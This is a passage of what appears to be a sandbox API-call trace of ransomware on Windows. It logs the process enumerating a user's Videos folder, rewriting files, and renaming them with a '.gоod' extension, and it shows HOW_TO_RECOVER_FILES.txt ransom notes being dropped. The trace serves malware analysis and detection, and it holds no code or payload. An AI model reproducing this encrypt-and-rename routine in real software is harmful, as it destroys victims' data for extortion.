(lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0159.834] GetFileType (hFile=0x61c) returned 0x1 [0159.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0159.834] GetFileType (hFile=0x61c) returned 0x1 [0159.834] WriteFile (in: hFile=0x61c, lpBuffer=0x36b7c00*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x36b7c00*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0159.834] CloseHandle (hObject=0x61c) returned 1 [0159.834] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx", lpFilePart=0x0) returned 0x57 [0159.834] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.gоod", lpFilePart=0x0) returned 0x5c [0159.834] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0159.834] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5b7a2c34, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xde80)) returned 1 [0159.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0159.835] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx.gоod")) returned 1 [0159.835] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x60 [0159.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0159.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x61c [0159.836] GetFileType (hFile=0x61c) returned 0x1 [0159.836] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0159.836] GetFileType (hFile=0x61c) returned 0x1 [0159.836] WriteFile (in: hFile=0x61c, lpBuffer=0x37377b8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x37377b8*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0159.837] CloseHandle (hObject=0x61c) returned 1 [0159.838] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0159.838] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos", lpFilePart=0x0) returned 0x16 [0159.838] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x29cd426, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x29cd426, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0159.838] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x29cd426, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x29cd426, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.838] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x29cd426, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x29cd426, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x29f381f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Captures", cAlternateFileName="")) returned 1 [0159.838] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x43f94523, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43f94523, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0159.838] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8860b6c0, ftCreationTime.dwHighDateTime=0x1d4d4d1, ftLastAccessTime.dwLowDateTime=0x78461740, ftLastAccessTime.dwHighDateTime=0x1d4c990, ftLastWriteTime.dwLowDateTime=0x78461740, ftLastWriteTime.dwHighDateTime=0x1d4c990, nFileSizeHigh=0x0, nFileSizeLow=0x128a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GF72-6GXAZZZ83QZtC.mkv", cAlternateFileName="GF72-6~1.MKV")) returned 1 [0159.839] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd31fc4d0, ftCreationTime.dwHighDateTime=0x1d4ca86, ftLastAccessTime.dwLowDateTime=0xba866fc0, ftLastAccessTime.dwHighDateTime=0x1d4ce5d, ftLastWriteTime.dwLowDateTime=0xba866fc0, ftLastWriteTime.dwHighDateTime=0x1d4ce5d, nFileSizeHigh=0x0, nFileSizeLow=0x41c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gik6VsAogle.mp4", cAlternateFileName="GIK6VS~1.MP4")) returned 1 [0159.839] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe90993f0, ftCreationTime.dwHighDateTime=0x1d4d168, ftLastAccessTime.dwLowDateTime=0x24548ec0, ftLastAccessTime.dwHighDateTime=0x1d4d523, ftLastWriteTime.dwLowDateTime=0x24548ec0, ftLastWriteTime.dwHighDateTime=0x1d4d523, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="H8ipldOURiZhDuV53d", cAlternateFileName="H8IPLD~1")) returned 1 [0159.839] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85379b30, ftCreationTime.dwHighDateTime=0x1d4c969, ftLastAccessTime.dwLowDateTime=0xf4052710, ftLastAccessTime.dwHighDateTime=0x1d4cb69, ftLastWriteTime.dwLowDateTime=0xf4052710, ftLastWriteTime.dwHighDateTime=0x1d4cb69, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hORlcHtM5Be", cAlternateFileName="HORLCH~1")) returned 1 [0159.839] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85379b30, ftCreationTime.dwHighDateTime=0x1d4c969, ftLastAccessTime.dwLowDateTime=0xf4052710, ftLastAccessTime.dwHighDateTime=0x1d4cb69, ftLastWriteTime.dwLowDateTime=0xf4052710, ftLastWriteTime.dwHighDateTime=0x1d4cb69, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hORlcHtM5Be", cAlternateFileName="HORLCH~1")) returned 0 [0159.839] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0159.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0159.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0159.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0159.839] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos", lpFilePart=0x0) returned 0x16 [0159.839] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x29cd426, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x29cd426, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0159.840] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x29cd426, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x29cd426, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.840] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x29cd426, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x29cd426, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x29f381f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Captures", cAlternateFileName="")) returned 1 [0159.840] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x43f94523, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43f94523, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0159.840] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8860b6c0, ftCreationTime.dwHighDateTime=0x1d4d4d1, ftLastAccessTime.dwLowDateTime=0x78461740, ftLastAccessTime.dwHighDateTime=0x1d4c990, ftLastWriteTime.dwLowDateTime=0x78461740, ftLastWriteTime.dwHighDateTime=0x1d4c990, nFileSizeHigh=0x0, nFileSizeLow=0x128a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GF72-6GXAZZZ83QZtC.mkv", cAlternateFileName="GF72-6~1.MKV")) returned 1 [0159.840] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd31fc4d0, ftCreationTime.dwHighDateTime=0x1d4ca86, ftLastAccessTime.dwLowDateTime=0xba866fc0, ftLastAccessTime.dwHighDateTime=0x1d4ce5d, ftLastWriteTime.dwLowDateTime=0xba866fc0, ftLastWriteTime.dwHighDateTime=0x1d4ce5d, nFileSizeHigh=0x0, nFileSizeLow=0x41c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gik6VsAogle.mp4", cAlternateFileName="GIK6VS~1.MP4")) returned 1 [0159.840] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe90993f0, ftCreationTime.dwHighDateTime=0x1d4d168, ftLastAccessTime.dwLowDateTime=0x24548ec0, ftLastAccessTime.dwHighDateTime=0x1d4d523, ftLastWriteTime.dwLowDateTime=0x24548ec0, ftLastWriteTime.dwHighDateTime=0x1d4d523, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="H8ipldOURiZhDuV53d", cAlternateFileName="H8IPLD~1")) returned 1 [0159.840] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85379b30, ftCreationTime.dwHighDateTime=0x1d4c969, ftLastAccessTime.dwLowDateTime=0xf4052710, ftLastAccessTime.dwHighDateTime=0x1d4cb69, ftLastWriteTime.dwLowDateTime=0xf4052710, ftLastWriteTime.dwHighDateTime=0x1d4cb69, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hORlcHtM5Be", cAlternateFileName="HORLCH~1")) returned 1 [0159.841] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0159.841] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0159.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0159.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0159.841] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\GF72-6GXAZZZ83QZtC.mkv", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\GF72-6GXAZZZ83QZtC.mkv", lpFilePart=0x0) returned 0x2d [0159.841] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0159.841] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\GF72-6GXAZZZ83QZtC.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\gf72-6gxazzz83qztc.mkv"), fInfoLevelId=0x0, lpFileInformation=0x37473b0 | out: lpFileInformation=0x37473b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8860b6c0, ftCreationTime.dwHighDateTime=0x1d4d4d1, ftLastAccessTime.dwLowDateTime=0x78461740, ftLastAccessTime.dwHighDateTime=0x1d4c990, ftLastWriteTime.dwLowDateTime=0x78461740, ftLastWriteTime.dwHighDateTime=0x1d4c990, nFileSizeHigh=0x0, nFileSizeLow=0x128a8)) returned 1 [0159.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0159.841] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\GF72-6GXAZZZ83QZtC.mkv", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\GF72-6GXAZZZ83QZtC.mkv", lpFilePart=0x0) returned 0x2d [0159.841] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0159.841] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\GF72-6GXAZZZ83QZtC.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\gf72-6gxazzz83qztc.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0159.842] GetFileType (hFile=0x61c) returned 0x1 [0159.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0159.842] GetFileType (hFile=0x61c) returned 0x1 [0159.842] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0159.842] ReadFile (in: hFile=0x61c, lpBuffer=0x3747788, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x3747788*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0159.842] CloseHandle (hObject=0x61c) returned 1 [0159.842] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\GF72-6GXAZZZ83QZtC.mkv", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\GF72-6GXAZZZ83QZtC.mkv", lpFilePart=0x0) returned 0x2d [0159.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0159.842] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\GF72-6GXAZZZ83QZtC.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\gf72-6gxazzz83qztc.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0159.842] GetFileType (hFile=0x61c) returned 0x1 [0159.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0159.842] GetFileType (hFile=0x61c) returned 0x1 [0159.842] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x128a8 [0159.842] WriteFile (in: hFile=0x61c, lpBuffer=0x3748a00*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x3748a00*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0159.842] CloseHandle (hObject=0x61c) returned 1 [0159.843] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\GF72-6GXAZZZ83QZtC.mkv", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\GF72-6GXAZZZ83QZtC.mkv", lpFilePart=0x0) returned 0x2d [0159.843] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0159.843] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\GF72-6GXAZZZ83QZtC.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\gf72-6gxazzz83qztc.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0159.843] GetFileType (hFile=0x61c) returned 0x1 [0159.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0159.843] GetFileType (hFile=0x61c) returned 0x1 [0159.843] ReadFile (in: hFile=0x61c, lpBuffer=0x374aca0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x374aca0*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0160.731] CloseHandle (hObject=0x61c) returned 1 [0160.731] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\GF72-6GXAZZZ83QZtC.mkv", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\GF72-6GXAZZZ83QZtC.mkv", lpFilePart=0x0) returned 0x2d [0160.731] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0160.731] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\GF72-6GXAZZZ83QZtC.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\gf72-6gxazzz83qztc.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0160.731] GetFileType (hFile=0x61c) returned 0x1 [0160.731] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0160.732] GetFileType (hFile=0x61c) returned 0x1 [0160.732] WriteFile (in: hFile=0x61c, lpBuffer=0x349aba0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x349aba0*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0160.732] CloseHandle (hObject=0x61c) returned 1 [0160.732] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\GF72-6GXAZZZ83QZtC.mkv", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\GF72-6GXAZZZ83QZtC.mkv", lpFilePart=0x0) returned 0x2d [0160.732] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\GF72-6GXAZZZ83QZtC.mkv.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\GF72-6GXAZZZ83QZtC.mkv.gоod", lpFilePart=0x0) returned 0x32 [0160.732] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0160.732] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\GF72-6GXAZZZ83QZtC.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\gf72-6gxazzz83qztc.mkv"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8860b6c0, ftCreationTime.dwHighDateTime=0x1d4d4d1, ftLastAccessTime.dwLowDateTime=0x78461740, ftLastAccessTime.dwHighDateTime=0x1d4c990, ftLastWriteTime.dwLowDateTime=0x5c047455, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x128b8)) returned 1 [0160.732] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0160.732] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\GF72-6GXAZZZ83QZtC.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\gf72-6gxazzz83qztc.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\GF72-6GXAZZZ83QZtC.mkv.gоod" (normalized: "c:\\users\\fd1hvy\\videos\\gf72-6gxazzz83qztc.mkv.gоod")) returned 1 [0160.733] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\Gik6VsAogle.mp4", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\Gik6VsAogle.mp4", lpFilePart=0x0) returned 0x26 [0160.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0160.733] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\Gik6VsAogle.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\gik6vsaogle.mp4"), fInfoLevelId=0x0, lpFileInformation=0x36666e0 | out: lpFileInformation=0x36666e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd31fc4d0, ftCreationTime.dwHighDateTime=0x1d4ca86, ftLastAccessTime.dwLowDateTime=0xba866fc0, ftLastAccessTime.dwHighDateTime=0x1d4ce5d, ftLastWriteTime.dwLowDateTime=0xba866fc0, ftLastWriteTime.dwHighDateTime=0x1d4ce5d, nFileSizeHigh=0x0, nFileSizeLow=0x41c4)) returned 1 [0160.733] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0160.733] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\Gik6VsAogle.mp4", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\Gik6VsAogle.mp4", lpFilePart=0x0) returned 0x26 [0160.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0160.733] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\Gik6VsAogle.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\gik6vsaogle.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0160.733] GetFileType (hFile=0x61c) returned 0x1 [0160.733] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0160.733] GetFileType (hFile=0x61c) returned 0x1 [0160.733] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0160.733] ReadFile (in: hFile=0x61c, lpBuffer=0x3666a78, nNumberOfBytesToRead=0x1000, 